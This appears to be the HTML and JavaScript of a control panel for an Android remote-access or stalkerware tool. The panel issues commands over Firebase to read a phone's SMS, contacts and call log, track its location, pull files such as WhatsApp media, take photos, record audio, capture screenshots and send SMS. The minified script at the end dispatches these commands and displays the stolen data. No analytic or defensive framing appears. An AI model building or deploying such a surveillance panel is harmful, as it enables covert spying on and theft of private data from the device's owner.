Live Monitor
Ping
Last Sync
Events0
Dashboard

Dashboard

Awaiting Connection

Battery
🔋
Unknown
N/A
Status
Inactive
Not connected
Network
📶
Location
📍
Last Known Location
🗺
No location data
Unknown / NA
📍Unknown / NA
Latest Result
Awaiting command...

Device Info

Real-time status queries

Commands
🔋
Battery Status
Level + charging state
📍
Get Location
Current GPS coords
📶
WiFi Info
SSID + IP + signal
🗺
Live Location
Poll every 5 mins

Data Extract

Pull stored device data

Commands
💬
Read SMS
Last 50 messages
👥
Contacts
Full contact list
📞
Call Log
Last 50 calls
📱
Installed Apps
All launchable apps
Result
Run a command to see results...

File Browser

Browse and pull device files

Navigator
Enter a path or tap a quick path
Quick Paths
Downloads
/sdcard/Download
🖼
Camera
/sdcard/DCIM
💚
WhatsApp
/sdcard/WhatsApp
📄
Documents
/sdcard/Documents

Camera & Media

Capture photos, audio, screenshots

Capture
🤳
Front Camera
Take selfie
📷
Rear Camera
Take photo
🎙
Record Audio
20-second recording
🖥
Screenshot
Capture screen
Latest Capture
Awaiting capture...

Control

Direct device actions

Actions
🔒
Lock Screen
Lock immediately
📳
Vibrate
Alert / locate
Send SMS

Command History

All commands with status and timing

Log0 commands
🕐No commands yet

Activity Log

Real-time event stream

Live Feed

Settings

Firebase Configuration

Firebase Connection
Fill in Firebase fields
pend[type]=sentAt; const entry={id:cmdRef.key,type,status:'p',sentAt,doneAt:null,data:null,timing:null}; hist.unshift(entry);renderHist();log('cmd',type.replace(/_/g,' '));setCB(type,'p'); toast(type.replace(/_/g,' ')+' sent','info',2000); setTimeout(()=>{const h=hist.find(x=>x.id===entry.id&&x.status==='p');if(h){h.status='e';h.data={error:'Timed out'};renderHist();setCB(type,'f');toast(type.replace(/_/g,' ')+' timed out','err');}},30000); }; function setCB(type,state){ const b=document.getElementById('cb-'+type);if(!b)return; b.classList.remove('running','done','fail');const o=b.querySelector('.cmd-st');if(o)o.remove(); if(state==='p'){b.classList.add('running');b.appendChild(mk('div','cmd-st p','⏳ Pending'));} else if(state==='d'){b.classList.add('done');const s=mk('div','cmd-st d','✓ Done');b.appendChild(s);setTimeout(()=>{b.classList.remove('done');s.remove();},3000);} else if(state==='f'){b.classList.add('fail');const s=mk('div','cmd-st e','✗ Timed out');b.appendChild(s);setTimeout(()=>{b.classList.remove('fail');s.remove();},5000);} } function renderRes(boxId,metaId,tagId,type,data,timing){ const box=document.getElementById(boxId);if(!box)return; const tag=document.getElementById(tagId); if(tag){tag.textContent=type.replace(/_/g,' ');tag.style.display=type?'inline':'none';} if(type==='record_audio'&&data?.audio_base64){ const bin=atob(data.audio_base64),bytes=new Uint8Array(bin.length);for(let i=0;i🎙 Recording ready`; } else if((type==='take_photo_front'||type==='take_photo_rear'||type==='screenshot')&&data?.image_base64){ box.innerHTML=``; } else if(data?.error){ box.innerHTML=`⚠ ${data.error}`; } else {box.textContent=JSON.stringify(data,null,2)||'No data';} const meta=document.getElementById(metaId); if(meta&&timing)meta.innerHTML=`✓ Completed in ${timing}`; } function renderHist(){ const list=document.getElementById('hList'),badge=document.getElementById('hBadge'),cnt=document.getElementById('hCount'); const pen=hist.filter(h=>h.status==='p').length; badge.textContent=pen;badge.style.display=pen>0?'inline':'none'; cnt.textContent=hist.length+' command'+(hist.length!==1?'s':''); if(!hist.length){list.innerHTML='
🕐No commands yet
';return;} const IC={get_battery:'🔋',get_location:'📍',get_wifi:'📶',live_location:'🗺',get_sms:'💬',get_contacts:'👥',get_call_log:'📞',get_apps:'📱',take_photo_front:'🤳',take_photo_rear:'📷',record_audio:'🎙',screenshot:'🖥',lock_screen:'🔒',vibrate:'📳',send_sms:'✉',list_files:'📂',get_file:'📄'}; list.innerHTML=hist.map((h,i)=>{ const ico=IC[h.type]||'⚡',bk=h.status==='p'?'p':h.status==='d'?'d':'e',bt=h.status==='p'?'Pending':h.status==='d'?'Done':'Error'; const tim=h.timing?`✓ ${h.timing}`:''; const det=h.data?(h.data.error?`⚠ ${h.data.error}`:JSON.stringify(h.data).substring(0,220)+'...'):''; return `
${ico}
${h.type.replace(/_/g,' ')}
${new Date(h.sentAt).toLocaleTimeString()}
${tim}${bt}
${det?`
${det}
`:''}
`; }).join(''); } window.tH=i=>document.getElementById('hi'+i)?.classList.toggle('open'); window.clearHistory=()=>{hist=[];renderHist();}; window.browsePath=path=>{curPath=path;document.getElementById('customPath').value=path;sendCmd('list_files',{path});updateBC(path);}; window.browseCustom=()=>{const p=document.getElementById('customPath').value.trim();if(p)browsePath(p);}; window.browseUp=()=>{const pts=curPath.split('/').filter(Boolean);pts.pop();browsePath('/'+pts.join('/')||'/');}; window.refreshFiles=()=>{if(curPath)browsePath(curPath);}; function updateBC(path){const pts=path.split('/').filter(Boolean);document.getElementById('filePath').innerHTML='/'+pts.map((c,i)=>{const fp='/'+pts.slice(0,i+1).join('/');return` / ${c}`;}).join('');} function renderFList(files,path){curPath=path;updateBC(path);const list=document.getElementById('fileList');if(!files?.length){list.innerHTML='
Empty directory
';return;}list.innerHTML=files.map(f=>{const isD=f.type==='dir',ico=isD?'📁':fIco(f.name),sz=f.size?fmtSz(f.size):'';return`
${ico}${f.name}${sz}
`;}).join('');} window.pullFile=path=>{sendCmd('get_file',{path});log('cmd','Pull: '+path);}; function fIco(n){const e=n.split('.').pop()?.toLowerCase();return{jpg:'🖼',jpeg:'🖼',png:'🖼',gif:'🖼',mp4:'🎬',mp3:'🎵',pdf:'📄',txt:'📝',json:'📋',zip:'🗜',apk:'📦'}[e]||'📄';} function fmtSz(b){if(b<1024)return b+'B';if(b<1048576)return(b/1024).toFixed(1)+'KB';return(b/1048576).toFixed(1)+'MB';} window.sendSMS=async()=>{const to=v('smsTo'),body=v('smsBody');if(!to||!body){toast('Enter number and message','err');return;}await sendCmd('send_sms',{to,body});document.getElementById('smsBody').value='';}; window.confirmVibrate=()=>{if(confirm('Vibrate '+devId+'?'))sendCmd('vibrate');}; window.openInMaps=()=>{if(!lastLoc){toast('No location yet','err');return;}window.open(`https://maps.google.com/?q=${lastLoc.lat},${lastLoc.lng}`,'_blank');}; window.clearLog=()=>{document.getElementById('logbox').innerHTML='';}; function log(type,msg){const el=document.getElementById('logbox');const d=document.createElement('div');d.className='logrow';d.innerHTML=`${new Date().toLocaleTimeString()}${type.toUpperCase()}${msg}`;el.insertBefore(d,el.firstChild);} function setMsg(msg,c){const el=document.getElementById('cMsg');el.textContent=msg;el.style.color=c==='g'?'var(--g)':c==='r'?'var(--r)':'var(--txt3)';} function s$(id,val){const el=document.getElementById(id);if(el)el.textContent=val;} function lit(id){document.getElementById(id)?.classList.add('lit');} function v(id){return document.getElementById(id)?.value?.trim()||'';} function mk(tag,cls,text){const el=document.createElement(tag);el.className=cls;el.textContent=text;return el;}